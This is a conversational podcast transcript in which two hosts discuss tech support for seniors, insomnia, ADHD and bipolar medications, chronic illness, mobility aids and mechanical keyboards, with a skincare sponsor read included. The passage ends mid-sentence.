Well, you know what? I started listening to Adam Christianson’s The MacCast Brett: But you know what? I started Sure. Like one of the very first podcasts, Yeah. Melissa: still, I still listen to him on the Mac Geek Gab. Like, his voice is just so soothing to me. I used to… Like, that was the f- Back when I had, I had, I remember I had, like, an old G4, uh, Quicksilver Mac, and in the stinky little back room of our old house. And I used to, I used to download the podcasts, burn them on a CD, put them in my Walkman, ’cause I didn’t have an iPod yet at the time. I wasn’t that… I was never really that cutting edge. And I’d burn them on a CD, I’d put the CD in my Walkman, and then I would sit and nurse, I would nurse my baby. I, [00:02:00] and I would have to tuck the, uh, the headphones, you know, I’d have the ear- the, the wired, kinda like I have now, uh, and tuck it behind my back, like, behind my shoulder, because otherwise he’d, like, yank on the cord. And I would just listen to podcasts while I nursed. And I… And then, uh, then I met Victor Cajiao, and I started just kind of being, like, a serial podcaster, showing up here and there, and then it just kinda grew from there. Tech Support Seniors Melissa: Um, and I do… So I do tech support. I’m an IT tech s- tech support person. I… People call me their computer guru. I mostly work with, uh, the senior population, our, our vintage people, which I, I’m slowly becoming one of them. We’re all, we’re all gonna go that way. Brett: I feel like anyone who does Mac tech support deals with probably an, a, a population that skews older. Melissa: Mm-hmm. Mm-hmm. Yeah, it’s actually, it’s actually more– I will say it’s actually more difficult to work with somebody younger. Like, especially people my age or people [00:03:00] that are like, say, in their sixties I consider pretty young, 70 even. Uh, yeah, so but it’s, you know, the people are so, so interesting. You can learn so much. I love working with this population because they’re like encyclopedias, and the stories they tell you and the things you learn, it’s pretty amazing. And I could just, I could just spend– I have actually spent all day with some of them. Some of us just have really great chemistry and, you know, it’s… They– I, I’m also– I have ADHD, that’s no secret. And I think when you get older, um, not– it doesn’t affect everybody, but I do see a lot of what could be either they, they have ADHD or it’s like a– Brett: they have Melissa: of creeps in and it’s just a natural process of aging, cognitive decline. So, yep. Brett: have a lot of patience. Sure. S- some of my, some of my most interesting relationships over the last 10 years have been with, uh, Mac users in their late 70s, [00:04:00] 80s. And, uh, like they’ve been– They’re very– Like, they’re definitely… The people that I’ve known have been technically capable and very interested in learning. That’s why they follow me. That’s how I meet them, right? They’re like, they read my blog, which is just all nerd stuff. And, and so they’re, they’re technically competent, and they’re doing things that I can only aspire to be doing in my 70s and 80s. Um, I had a guy who was writing his memoirs at, in between like mountain bike rides. And so here’s the thing, though, is when you, when you know someone online and they’re in their 80s and you stop hearing from them for a Melissa: Yes. Yes. Brett: you have to assume that they have passed on. and that is sad, and you never really get any closure because you don’t know their friends or family. You [00:05:00] never get like a notice, an obituary. You don’t, you don’t know where these people go, um, and you don’t know how to check in on them once your normal channels of communication are severed. Melissa: Yeah, we’re at that age where we probably start reading the obituaries. Like, I haven’t heard from so-and-so in a while. Let me check the obits." Brett: I had, I had– Before NVUltra went on for, what’s it, like five years now, uh, without a release, um, I had a project called BitWriter with David Halter. And Melissa: remember you mentioning that, yeah. Yeah, and you wondered. Mm-hmm. Brett: he stopped responding. Melissa: you find out any at all? Any, Any, concrete… Brett: Nothing. I have put feelers out everywhere I can think of. I have no idea what happened to him. Melissa: went Richard Simmons, huh? Brett: yeah. Yeah. With less Melissa: No contact. No contact. Aw. Digital Legacy Work Melissa: I, I’m lucky that, uh, in my line of [00:06:00] work, I do typically hear from the family if they’ve passed on, because I form kind of a bond with a lot of people. I, I typically don’t lose clients unless they die, so… Brett: and you have some, like, in real life connections to Melissa: Oh, yeah. Yeah, I do, I do both. I do… I have some clients where I’ve never met them in person, I’ve only ever done remote. Uh, and then, but most of my clients are, are local, the majority of them. But I, I still s- see them remotely too, so yeah. I’ve, I’ve actually been hired by some people, um, mostly I’ve had two male clients who they got a terminal illness, they knew they were terminal, and they followed me online and they pretty much hired me to take care of their surviving spouse. So that, that was… that’s a difficult thing, but I’m just honored that they chose me to, to help them out with that. So I’ve kind of been a bit of a digital undertaker in that regard. Sponsor: OneSkin Christina: I want to take a moment to share something that has significantly improved my skincare routine, OneSkin. [00:07:00] So we all have those days when our skin doesn’t feel its best, and I’ve certainly been in that boat, especially recovering from surgery. And I was tired of navigating through endless products that promised results, but often fell short. And that’s when I discovered OneSkin. It was founded by scientists dedicated to longevity, and this brand stands out for its commitment to real science over marketing hype. They tackle the fundamental question of how to actually slow down skin aging rather than just masking it. And their groundbreaking ingredient is, uh, ZeroS01, and it’s a proprietary peptide designed to help deactivate the damaged cells that contribute to aging skin. Since incorporating OneSkin into my routine, I’ve actually been noticing some improvements. My skin feels smoother. It looks more vibrant. Um, it’s definitely more moisturized, and so this is benefiting from its focus on supporting collagen and strengthening the skin barrier. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If [00:08:00] you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/overtired. That’s 15% off at oneskin.co/overtired using the code OVERTIRED. Thank you for supporting our show by checking them out Mental Health Check In Brett: Um, so do you wanna do a mental health Melissa: Sure. Brett: I, I know, I know you’ve listened to the show before. I know you know how this works. Melissa: how this works. Brett: Would you like to start? Melissa: I think I would like to hear you start, and then I’ll, I’ll add on Brett: that sounds good. Insomnia And Focus Brett: Um, so sleep continues to be a major issue for me. Um, I actually for four days in a row last week, I got eight hours of sleep a night, which was insane. I felt so good. Um- The first night… So I take [00:09:00] Lamictal for bipolar, and if I miss my evening dose, I crash and I sleep in the next morning, and I sleep soundly. Like, it’s the best sleep I can get. And then I wake up and all of a sudden the withdrawal kicks in, and then I’m shaky and dizzy for half an hour after I take the dose. Um, but that’s after, like, a solid night of sleep, and it never works two nights in a row. And, like, I’ve tried, like, maybe if I take Lamictal in the mornings instead of the evenings, maybe I’ll sleep through the night. It doesn’t work after that first missed dose. Um, but then I just, without making any changes in my lifestyle, started sleeping, and I thought finally after, like, two years of insomnia, I had turned a corner, because I can’t remember the last time I got eight hours of sleep for more than two nights in a [00:10:00] row. And then it ended, and then I was up. I’ve been up since 2:30 today. Melissa: I wondered, yep. Brett: I mean, I went to bed at 8:00, so that’s still nine, 10, 11, 12, 11, Melissa: I actually dozed off on the couch around 8:30. Like, if only I could just be in my bed right now, just be, like, transported. Yeah. Oh. Brett: Oh, I, I wish. If I could go back to bed… Like, sometimes I’ll, I’ll lay back down around 7:00 or 8:00 and get, like, another half hour of sleep, but it’s really that, like, uninterrupted block of deep sleep that I need, not… I take naps during the day, and I can usually fall asleep for half an hour, um, given that I’m usually functioning on five hours of sleep anyway. But anyway, um, I– That, that’s just kind of par for the course for me, so, like, any, any of our listeners know that that’s gonna be the first thing I report. Melissa: are you, [00:11:00] like, kinda competing? Like, are you trying to get eight hours because that’s what’s prescribed? Have you ever thought about Brett: be- actually, what works eight and a half, like I’ve, I’ve… Back when I had the option to sleep more than five hours, like, I did a lot of kind of experimentation and Melissa: know where your sweet spot is. Brett: Well, it… See, the sweet pot- spot changes as you age, though, and you need less sleep as you get older. So, so I can’t say for sure that eight and a half hours is still my sweet spot. Um, and I think honestly, if I can sleep seven hours, I feel pretty good, and I consider seven hours a good night’s sleep. Melissa: Yeah, ’cause mine’s like between four and six. Brett: really? Yeah. See, Melissa: feel Brett: I don’t function well. Oh, I don’t function well on anything less than seven hours. Melissa: I just have a love-hate relationship with sleep. I just don’t– I just hate to sleep. I just would rather be doing other things. Life is [00:12:00] just too interesting. Brett: I get that. I– get that. I– as someone who’s bipolar and has had like manic episodes where I’m up for five days straight, like I, I love not sleeping. Um, w- when, when I have the mania to give me energy and back it up. It’s when I’m just dragging all day and feel like a zombie. The thing– The, the plus side to it is the more tired I am, up to a certain point, the better I can focus. Like my brain slows down and it’s really easy for me to get into hyperfocus. And like most mornings I’m up at, you know, 2:30, 3:00 and I just start coding. And I can not only hyperfocus, but I can switch focus between three or four different projects like simultaneously. I hit compile on one, I move on to the next one, and I can rotate [00:13:00] through them and like keep track of all of it. And then right around 10:00 AM, my ability to do that ends and suddenly I like flip to a project and I cannot for the life of me remember what I was doing, which is why I’ve spent my life building note-taking apps and, and time tracking tools. Melissa: Yep, same thing. Doing Time Tracker Brett: dude, h- d- I don’t… You might not be familiar with my project Doing. Melissa: N-no, but I– you alluded to something. that’s not what you’re working on with Dan though, is it? Brett: No, no, that’s gonna be Melissa: Dan on that too. I, I, don’t know what it is yet, but yeah, I’m, I’m Brett: Oh, it’s… Yeah, it’s gonna be cool. Melissa: that’s so exciting. Brett: no, Doing is a command line tool where you can type things like, “Doing now podcasting with Melissa,” and it starts a timer for like what I’m doing now, and then I can ask it if I leave and come back, I can say, “What was I doing?” And it’ll tell me, [00:14:00] “You’re podcasting with Melissa.” Obviously, that’s a weird example ’cause I’m not gonna leave in the middle of this. But then it can give you like totals, time, tag-based time totals, uh, for your week and everything. It can show you like what you finished yesterday. Um, it’s not so much a task tracking app as it is a tool for keeping track of what you’re doing in the moment. Um, for, for people like me who switch between four projects at once, it’s really handy. And some guy, some fucking guy Melissa: Some fucking guy. Brett: it, rewrote it in Rust, and it is really good. it is really good. Uh, he like, I- Oh yeah, I use Melissa: Okay, ’cause Brett: This is, this is separate. this is this is a little more ‘ intentional than Timing. Um, I use both. They kind of work together, and Doing can actually import Timing’s JSON exports. So you can turn your, you can turn [00:15:00] all your Timing data into command line, uh, readable Doing files. Um, but anyway, this guy rewrote it in Rust with my permission, and he gave me full credit on the page. And I think I’m switching ’cause Doing is written in Ruby, and Ruby is slow, and Rust is fast. And like my Doing file where it stores all of my current projects, like my Doing items, gets so big that it can take Doing like up to five seconds to respond when I ask it, “What was I doing today?” Which is five seconds is a long time on the command line. Um, and his Melissa: pretty instantaneous. Brett: his version is like 100 milliseconds. Boom. But anyway, Melissa: It’s almost like you built your own little AI thing. Like, what was I doing? What Brett: kinda, kinda, yeah. Melissa: you doing, Dave? Brett: This is, this [00:16:00] was built long before AI was a common thing, but the other thing that’s contributing to my mental health Suspenders And Stenosis Brett: is suspenders. Melissa: Ah, yes. Brett: So I have I have gained 100 pounds, um, not, n-not of my own choice, but like I had rapid weight gain and I recently got a stenosis diagnosis, which I hate the Melissa: telling you, I’m telling you, we’re like 23 and me here. I’ve got that too. Brett: apparently during one of my, like when I gained 50 pounds in like six weeks, my body was looking for places to store all the new fat and decided my spine might be a good place for that. Um, so I have fat in my spine and I have degrading discs. This is separate from my love of suspenders, so I’ll get back to [00:17:00] that. I, um, Melissa: Wait till you get it in your eyeballs. Brett: Oh, for real? Melissa: Yeah, you can have… I have, um, what’s it called? Cholesterol. Yeah, if you look at your eyes really close, if you see like a white kind of w- ridge around your irises, that’s cholesterol. Brett: Oh, wow. Yeah, I hope, I hope that hasn’t happened yet, but who knows? Um, Melissa: Brings out Brett: I– So I have all this, I have all this extra weight and I had a lot of trouble with belts. A, belts hurt ’cause they dig into my, my gut, and they don’t really work. I, every, every time I stood up, my butt crack showed and I had to like wiggle my pants up. And then I I tried a pair of suspenders and it was like a l- a switch had been flipped. All of a sudden my pants just stayed up without any constriction around my waist, just like they just stayed with me wherever I went. And now I can, [00:18:00] I can tuck my shirts in and it actually looks kinda cool when you got the suspenders look going on. Which means, so like for a long time I only wore one brand of shirt, um, and because they, it was, it fit my belly and it was long enough and like it wasn’t, wasn’t baggy around the top and didn’t hang off my belly like a muumuu. Melissa: Mm-hmm, Brett: And like, so I, I, I only wore this brand of shirt and I own like 15 of them, and I would just cycle through Melissa: dresses, they’re just your Walmart $10 cotton tank dress. Love it. Brett: Yeah. But now that I can tuck my shirts in and feel okay about it, I can buy those extra large nerd shirts, ones with funny slogans and stuff on them. And normally those would hang straight down off my belly, and I hate the way that looks. But now I can tuck those in, which means I can get back to wearing funny, [00:19:00] ironic T-shirts, and it, it’s like opening up a whole new world of possibilities Melissa: That is a bonus for mental health. Brett: every day now I put on my suspenders and it makes me happy. Um, Melissa: wonderful. It’s almost like a, like a mobility aid. Brett: Kinda, yeah. Melissa: yeah. Brett: of, I– So I, I have a monopod, um, like a tripod that folds up into a walking stick, and it’s nice and light and it is an adjustable height ’cause it’s designed to be used as a camera tripod. Um, and I’ve started walking with it Melissa: yeah. kinda like you’re Brett: I c- yeah. Yeah. Like one of my fat friends has s- literal like ski poles. They’re like half height ski poles and they walk with them and it helps them a ton, and I Melissa: Yeah, hikers use those. Brett: try that out. But a walking stick [00:20:00] really does help with my stenosis, but I can still, even with a stick, I can only walk for about five minutes, which is about .3, Melissa: Yeah. Brett: 3, .3 miles. Um, and then I have to stop and sit, and it’s been a real pain, literally. Mobility And Home Hacks Melissa: And is standing difficult, too? Brett: standing is worse than walking. Melissa: thing, yeah. Standing’s worse. Brett: Yeah. Like if I am in the kitchen and I’m at the stove cooking, before the onions start to brown, I have to sit Melissa: Yeah. Yep. Brett: Uh, so we now have a stool in our kitchen, Melissa: Do you have one in the shower? Brett: yes. Well, our shower, our shower has a nice, like the back of the tub is a seat. Melissa: Oh, okay. Yeah. Brett: I don’t know if this house was designed by old people or not, but, um, but it’s certainly everything is relatively [00:21:00] accessible in that way. Um, but the stool in the kitchen means I can cook dinner. Emptying the dishwasher is the worst for me. That just like bending over, picking stuff up, and then just moving back and forth, like the five feet across our kitchen. My– I, it takes me three stops, three rests to get a dishwasher emptied. Um, and then I’m kind of ruined after that. I hate it. And I hate that I Melissa: stress mat? Brett: What’s that? Oh, you mean Melissa: mat to stand on? Gotta get, gotta Brett: think that would help? Melissa: Oh, yeah. Yeah, I have Brett: used to have one Melissa: and one in front of the kitchen, and I don’t even, I don’t even, do the cooking. Brett: Ha. I used to, I used to have one of those in front of the stove when I w- when I didn’t have pain, but just because I was really getting into cooking and I was spending a lot of time, and I was starting to feel it in my knees. Um, yeah, maybe I should do Melissa: I think it’s a fatigue [00:22:00] mat, I think they call it. Brett: Yeah. Melissa: Yeah, Brett: That sounds Melissa: plus they look cool if you get little designs on them and stuff. Yeah. Oh, we could spend the day talking about just mobility aids and ergonomics and all that kind of stuff. Melissa Health Update Brett: Well, it’s your turn. Talk about whatever you like. Melissa: Yeah, you give me some ideas to talk about. Um, yeah, I struggle with a lot of the same things that you do. Um, I’m always like kinda comparing notes every time you post something. I’m like, "Oh No, ‘Cause you talked about Have you … You haven’t started the injections yet, have you? Brett: No, and they just delayed those. I don’t get them until like June 20th or something. Melissa: nervous about those for you, because I’ve had those and I’ve decided to just swear off them, so I’ll just kinda give you just a heads-up. I mean, it does raise your blood sugar, so that’s not great, and, um, it can give you the roid rage, kinda make you angry, so that’s something to watch out for, and more weight gain, so …But it’s like one of those things where you just have to kinda try [00:23:00] it and see if it works, because if it does work, then you could be more mobile and then maybe drop a few pounds and get some of that weight off of your spine. But if it doesn’t work, just know that that can happen, Brett: my doctor did not mention any of those side effects, so good to Melissa: Yeah. Yeah. It’s, it’s the chronic life, so that’s, that’s what, that’s what, uh, affects my mental health, so I’m, I’m really good at faking it. I am actually … I will say I’m actually feeling a little bit more even. ADHD Meds And Mutations Melissa: I’m on, uh … I love when you talk about different prescriptions and stuff. Uh, I just mentioned, so I’m taking Adderall. That is, ugh, it’s a mixed bag. Um, I wanted to ask you about Vyvanse, cause that’s the next thing for me, but it’s, like, super expensive, so I’m trying to make Adderall work as best I can, but I’m, I’m in the process of playing with the dosage. But I think she told me, like, the highest was 30. The thing is, uh, I’ve had genetic testing done, and [00:24:00] I have this condit- not a condition, but it’s a I’m a mutant. It’s a genetic mutation called, it’s, it’s just initials. It’s MTHFR, lovingly known as Brett: you process your, your, chemicals twice as … fast. I have Melissa: Yes, faster processing in the liver. So that’s when she told me, ’cause she started, uh, me out on methylphenidate, and I was like, “Well, what about Adderall?” Because it, I see it work for my kids, you know? The kids are chip off the old block, right? And so I’ve had them tested too, and all three of us are positive for that. It’s lovelin- lovingly known as the motherfucker gene mutation. Um, yeah, so, and it is. It’s, it’s quite a bitch, um, ’cause it causes a whole bunch of other problems. And of course, we’ve talked about Ehlers-Danlos, so I have, uh, hypermobile Eh- Ehlers-Danlos. I’m having a hard time … I’m just having a hard time with that in general, mental health wise, because there’s just not enough awareness about it, enough people, and doctors, doctors and nurses. And you know, I’ll, I’ll say I wanna, I would love to be able to get [00:25:00] to a point where I can just say, “I have H-E-D-S,” or heads or what- however they’re gonna pronounce it, and, like, somebody know what that is when I go in for an appointment. But I still have to explain it, you know? And then that, that cuts into my time. ‘Cause they only … When you’re, when you’re our age, they only give you, like, 15 minutes, if that. When you’re much older, ’cause I’ve had to take, I’ve had to take family members to the doctor, they get a whole lot more time. But, uh, you know, it’s like, "Oh, you’re, you’re too young to be this sick. You’re too young to be this old," Brett: Right. Yeah. Curious Doctors Matter Brett: Um, I did– I found that doctor for me that knew exactly what all those acronyms meant, knew exactly, like, not only did they know what POTS was, they knew like seven different kinds of POTS and what tests to use to narrow it down. And then she got called up to National Guard Melissa: Oh, I wondered, I wondered, what happened to that doctor, ’cause it sounded so Brett: I waited. I was on a, I was on– I w- I had an appointment scheduled that was gonna be six months from the time she [00:26:00] left. Um, and I had it scheduled, and it was on July 7th. And then I got a letter in the mail saying that her Guard duty had been extended, and now I can’t see her again until September. And, like, I’ve, I’ve tried seeing other doctors that work with her, but none of them have the knowledge she has, and it was such a relief Melissa: Is this the curious one? Okay. I always think about you whenever I’m either looking for a provider or in the, in the midst of, of getting, you know, shuffled around to a new provider. I’m like, “I hope they’re curious,” ’cause that made– that meant so much to me when you explained about how a doctor needs to be curious. I’m like, “That’s what I need.” I need somebody… Or even just my therapist. I have a new, a new therapist that I see, and she’s really curious, and I really, really like that about her. That’s something that helps with mental health, is when somebody’s curious, ’cause I’m Brett: it goes h- it goes hand in hand with credulousness. Like, [00:27:00] first they have to be willing to believe you, and like, especially when it comes to invisible issues like EDS. Like, you have to be willing to believe a person and then be curious enough to look for answers. Like, the first step is believing, and the second step is curiosity. Melissa: Yes. I’ve already had my patient record marked as… Have you ever heard this one? Worried well. Brett: No. Melissa: I looked it up. It’s basically hypochondriac. Brett: Yeah, that’s what I was gonna guess. That Melissa: Yep. I actually– I was proud of myself because I actually did confront the doctor about it and I said, “What does this mean?” I said, “I, I looked it up and it kinda concerns me ’cause it makes me look like a hypochondriac.” And she said, "Oh, no, no, that’s just a, a code that we use when we don’t have something else to assign to it so that insurance will pay." Bullshit. Brett: Yeah, right? I feel like that’s exactly the kind of [00:28:00] thing insurance doesn’t pay. Melissa: Mm-hmm. so Vyvanse Vs Adderall Brett: what do you wanna know about Vyvanse? Melissa: Um, a- and I know it’s different for everybody, but I just kinda wondered what your take was on it. Um, how– can you compare it to Adderall at all for me, Brett: Yeah. Melissa: no comparison? Brett: it’s basically a non-abusable, I would call it lower lying version of, of Adderall. Like, it’s in the same family of stimulant as Adderall, but it can’t– It isn’t processed or it’s… I don’t remember how the mechanics of it work, but you can’t snort it basically. Like, it doesn’t, it doesn’t do anything Melissa: Which I wouldn’t wanna do anyway ’cause there’s nothing up here. Brett: Sure. Sure. And then, yeah, I’m not suggesting that was gonna be a problem for you. Um, but it’s also, like, it’s way, um, for me anyway, it’s way calmer. [00:29:00] Um, and there are people that say it doesn’t do anything at all. Um, especially a lot of people, a lot of people say the generic version doesn’t do anything, um, and that the name brand version does, but I haven’t found that to be true. Like the generic, which you’re correct, still costs like 200 bucks a month, um, for the generic. Um, but it is– It’s not my favorite. Melissa: I wondered why– what made you stop taking it. Did it just not work for you? Brett: No, I still take Vyvanse. Um, yeah. Um, I used to take, um, Focalin, which I loved. Melissa: That really worked for my kiddo, yep. Brett: but it also triggered my mania, Melissa: Mm-hmm. Mm-hmm. Brett: so I was always walking this line of like, do I wanna be super productive and manic with like weeks of depression in between, [00:30:00] or do I just wanna be somewhat productive and stable? Um, which is why I’ve stuck with Vyvanse, and my doctor loves it enough for me that she won’t, she won’t prescribe anything else for me at this point. Like, I’ve asked about switching. I’ve asked about moving back to Adderall and things like that, but, Melissa: It seems like you’re, like you’re kinda on an evening out. Brett: Yeah, I haven’t had a manic episode for a couple years now. Tracking Mood With Data Melissa: Do you track it? Do you– Like, have you ever seen those– I keep seeing these ads for it ’cause, you know, the algorithm feeds us the stuff for wearables that are, um, called– I think it’s called Visible, so it makes your symptoms more visible instead of invisible. Like, do you track it? Do you Have you nerded out on your own data? Brett: like my mania and depression? Melissa: Yeah, like do you track it and look at graphs or anything like that to Brett: See, I’ve never had to use an external tool because I can just look at GitHub contribution graphs, and I can look at [00:31:00] my RSS feed, and I can see exactly, like for a period of like eight years, I can pinpoint exactly where my manic episodes were, um, because that data is historically preserved out there on the internet for all to see. Um, it’s, yeah, it’s– Well, and that’s, like I built tools that gathered that, those various sources of data. Um, and then there was a, a tool called, um, I forget. Melissa: cool, though? Hmm. We’ll think Brett: But it could pull, it could pull in all that data. Um, Bell Beth Cooper, Hello Code, I can’t remember the name of the app. Melissa: Yeah, it’ll come to you eventually. Brett: sure. Uh, but it could pull in like your GitHub, uh, commits along with like what the weather was at the time, how many songs you listened to that Melissa: Oh, day one sorta does that, yeah. Brett: Does it now? Melissa: A little bit, yeah, your locations, [00:32:00] um, if you turn on some of those things. Like not– I don’t think it does the music and things like that, but Brett: I haven’t used it for a while. I haven’t used it for a Melissa: I was gonna switch to the journal app. I was actually really… I held off on upgrading to Tahoe for the longest time, but that one kept nagging at me ’cause I thought, oh, you know, maybe. I mean, as much as I love Day One, I, I thought about, I thought about actually switching over, but no. I tried it. I’m, I’m gonna stick with Day One. Brett: Cool. All right. Cane And Somatic Therapy Brett: Um, so did you have, did you have more to add to your Melissa: Oh, I was gonna, I was gonna add on to what you were talking about with the suspenders. I did start… I think you probably… Well, yeah, you commented on it. Um, I started using a cane, and that I have mixed feelings about that. Um, I should have brought it in here so I could show you. I’ll show you later, ’cause, uh, anyway, it’s, it’s purple. I did get a pimp cane. That’s what my husband calls it. I thought, damn it, if I’m gonna use, like, a cane, then it’s gonna be [00:33:00] purple, and I’m gonna like looking at it, as much as I hate to use it, so. So I’ve been trying to use it. I… What you were talking about with, uh, with finding a curious doctor, I do have new physical therapist, um, so I’m really happy about that. Same kind of thing where she’s super booked. I think that’s just how it is. Like, the really good ones, they’re good, and, you know, it shows because it’s, it’s hard to get in to see them. So yeah. So I’m, I’m looking forward to that. We’re gonna be doing… Have you heard of somatic therapy? Brett: Yeah. Melissa: Yeah. So ha- have you tried it? Do, do you like it? Okay. That’s, that’s what I’m embarking on. Brett: I actually have a friend who teaches classes in it. Melissa: Oh, Al probably knows about that. Brett: y- yeah, Melissa: Yeah, I’ll, I’ll Brett: and it is, it is amazing how hard just doing things, doing motions you’re used to, but doing them very slowly and intentionally. It is like you– Just like, Just like, doing y- like a clamshell where you drop your knee, you’re [00:34:00] on your back and you drop your knee down to the side and bring it back up. Like that motion, most of us, even infirmed people can do that okay. You try to take… You try to do that and take like five breaths in each direction, and you’ll start shaking. It’s very Melissa: Ah, uh-huh. Yep. Brett: Yeah, but it’s good. Like it’s g- it really retrains your muscles. It really, it strengthens, retrains, and helps with, uh, finer motor control. Melissa: Oh, that’s interesting. Yeah, I, I’m, I’m a little bit on the skeptical end of it, so that’s why I’m, I’m glad that, that you, you vouch for it too. It’s like I know that it works, but I just… I guess I wanna understand the science of it a little bit more. Like, for example, I’ve tried, uh, acupuncture, and I just didn’t feel like it did, did anything for me. I think you have to be, like, a believer, and I just Brett: think so. Melissa: I, I, I even did that on purpose knowing that I kinda felt like it wasn’t gonna work. I was like, well, what if I just go into this? ‘Cause, [00:35:00] ’cause I talk to people and they’re like, "Well, you have to believe in it." I’m like, but what if I don’t? I just don’t, you know? I’m, I see it Brett: it’s not medicine if you have to believe in it. Melissa: Yeah. I mean, I see it work for other people. I know there’s, you know, such a thing as placebos and things like that, and I don’t know, it’s, it’s woo-woo and I, I, I like woo-woo stuff. I, it just, it didn’t do anything for me, so… It’s not to say that it doesn’t work for other people, but it just did not work for me, and I, I kind of, I, maybe I just, uh, did that on purpose when I, I try- probably just tripped myself up going into it thinking, well, I just don’t believe it, so if it works, then there must be science behind it. And then, then, I’ll believe. But it didn’t work out, so. So the, I’m a little bit on the fence about the somatic thing, but the, the, the gal that I’m working with is just so, she has EDS herself, and like, like what you were saying, like, she, she knows all about it and she could even, you know, tell me the, the type that she has, and I was like, I met, I met, actually last week I met two zebras in one week. [00:36:00] You, you’re familiar with the, the zebra mascot? If you, uh, the saying goes, if you hear hooves, think horses. But we’re not horses, are we? Yeah, so Yeah, so that’s, that’s our, our Somatics For EDS Melissa: EDS Brett: somatic– somatics you don’t have to believe in for them to work. Melissa: Okay, that is Brett: it’s an actual physical therapy method that trains the finer muscles, um, that surround your larger muscles and, and strengthens those, and it– Yeah, it’s for real. It’s, yeah, it’s not like a… It’s soma- I think, Melissa: w- totally Brett: ’cause I I had the same reaction when someone said somatics, ’cause I think, “Oh, that’s some holistic idea of the body, um, of soma,” and it’s… No, it’s, it’s got legit physical therapy behind it. Melissa: And, Yoga Modifications Melissa: you used to do a lot of yoga too, so that probably makes Brett: I still do. Melissa: Yeah? That’s [00:37:00] wonderful. Brett: it’s gotten really hard. Um, I can’t, I can’t– So I get dizzy Melissa: Yeah. Brett: going from sitting to standing, um, and my back gives out if I am in, like, horse or warrior two for more than a couple minutes. Um, and I can’t do cobras because I have a belly like a nine-month pregnancy. Um, so I have to do, like, prenatal yoga, um, which is actually a thing. Melissa: that’s a good idea. I’m glad you brought that up. I should look Brett: a- and I do chair yoga, um, where I I take the class that everyone else takes, but I modify it to work with… Like, there, there are defined moves that you do with a chair instead of. Instead of doing down dog, you do, like, a 90-degree down dog holding the back of a chair. Um, and you put, like, a knee on the chair to do warrior two, so you’re actually [00:38:00] resting. And Um, and you can do it fully seated too and get at least the arm exercises out of it. So I’ve been trying to maintain, maintain flexibility and some endurance. I’m not doing yoga the way I used to do it, but I am still Melissa: I’ve seen some of your poses. It’s pretty impressive. Brett: Yeah, back in the day. Melissa: W- when you could be upside down. Polycystic Liver Shock Melissa: I should look into that because I, you know, although I’m done having babies, like far done having babies, I have… You probably know about this too, I have polycystic liver disease, which is a really rare type of liver disease, and it’s not fatty liver. Oh my God, I have to keep telling doctors that. That’s the other thing. It’s like, it is not fatty liver. It is not. It- they’re cysts. It’s a totally different thing. I’m basically full of bubbles. So I… But it feels like that’s why I went in to get it. I didn’t actually get that checked. I found it accidentally when I went in for an heart, for a heart CT. That’s when they found it, and for a, a breast MRI, so [00:39:00] both those, those types of scans caught it. The other parts were fine, so my heart’s fine, so that’s a relief. But yeah, so this was a bit of a shock. And so I don’t know exactly what it means moving forward, um, but my entire liver is, like, engulfed in cysts, so. Right? But my blood work is, is fantastic right now, so I’m just gonna keep Brett: That’s good. Melissa: hoping it stays that way. Brett: That’s something. Fatphobia In Healthcare Brett: Um, I I have heard for a long time about, um, doctors being fatphobic and, and always assuming that, um, always assuming that your health i-issue is because you’re fat and not even looking for underlying issues, which has been an interesting experience for me because that really never happened to me. Melissa: Mm. Brett: Um, at least not once I switched to Gundersen from, like, a local clinic. Then I realized that it’s not just being fat that gets you [00:40:00] stigmatized, it’s being a fat woman. Melissa: Mm, I was gonna say try having a uterus and being Brett: yeah. Yeah. Um, like I talked to one of my best friends, April, who he’s, has been on Melissa: by, women doctors. Brett: Yeah. Yeah. And that’s, that’s what April tells me. She tells me all these horror stories. Even after finding care she trusted, she still has to deal with people saying, “Well, if you just lost some weight.” Like, she’s been fat her whole life. She’s in better shape than most skinny people Melissa: Yeah. Mm-hmm. Brett: I mean, she does sit-ups with 50-pound plates and does, like, five, 10 miles at a time on her, like, on her bike and, like, she’s in great shape and still has to walk with the ski poles, and she’s getting her second knee replaced this week. And, like, it, it’s just infuriating to hear the way that doctors dismiss Melissa: You know what the problem is, Brett? Brett: goes through [00:41:00] when Pole Dancing Reality Check Melissa: Not enough doctors have watched fat pole dancers. That is the problem right there. They need more education. Brett: Um, yeah. There’s, there are a couple of, um, queer burlesque shows Melissa: shows, yes. Brett: in my area that almost always include a plus-size pole dance, and it is amazing to Melissa: Oh, it’s mesmerizing. It should be an Olympic sport. Remind me to send you the, the link to, unless you’ve already seen it, have you seen the Deadpool pole dancer? Brett: No, I don’t think Melissa: you are in for a treat. We might just have to put that in the show notes, but I don’t know, I don’t know if your listeners are that, are into that It’s fully clothed, but it’s, there’s even blue Crocs involved. Brett: So this is nobody that you’re seeing on the Melissa: I wondered, yep. I wondered, yeah. Aw, he looks so soft. Mm. Mechanical Keyboard ASMR Brett: So you’ve [00:42:00] gotten really into mechanical keyboards. Melissa: have, I have. In fact, uh, I was gonna, I was gonna see how this might sound, but I, I brought my little box of key caps to show you so that I could say, welcome to my ASMR channel. Brett: That would… is is that a thing? I bet there are ASMR, like, key switch testing. Melissa: yeah, yeah. I’ve run across a couple of videos where, you know, they’ll have a hashtag ASMR in there, and that’s, that’s what it is. Do you experience ASMR yourself? Brett: No. Melissa: No? So when you listen to those videos you don’t get like the s- the tickling of the spine and stuff? Brett: No. Melissa: I do. It actually, it goes, it… I forget. I always forget what the acronym stands for, but it, you know, has something to do with the meridian. So if you can i- imagine your brain like split in half, and I feel it right on this side. It goes, it goes like the, down the back of my head, behind my ear, and down into my shoulder. It [00:43:00] is the funkiest feeling, and I love it. I love it so much. Even when we were talking about animals in the, in the beginning and I even had a cat that would come and just like kind of lick my ear and, oh, I just, I love that. Most people cannot stand that sound. They have the opposite condition where they can’t handle somebody chewing gum. My grandfather had that. Um, some, some kinda, it ends in a tonia. Misatonia or something like that, um, where… I don’t know. Do you have any of those like sound sensory issues? I have a lot of Brett: really don’t. I’m very, I’m very, like, sound Like, I like loud, heavy music. Like, that does something for my psyche. Um, but general sounds, they neither bo-bother me nor stimulate me. Melissa: imagine what that’s like. I just can’t. I’m So bothered, and my kids too, and you know, ugh, God, Brett: So El Melissa: has been problematic. Brett: El is, El is, definitely sensitive to sound, um, in a way that Like, even my [00:44:00] mechanical keyboards can’t be, can’t be on the same floor of the house as Elle. We pretty much live in silence, and that’s fine for me most of the time because, like, it just doesn’t affect 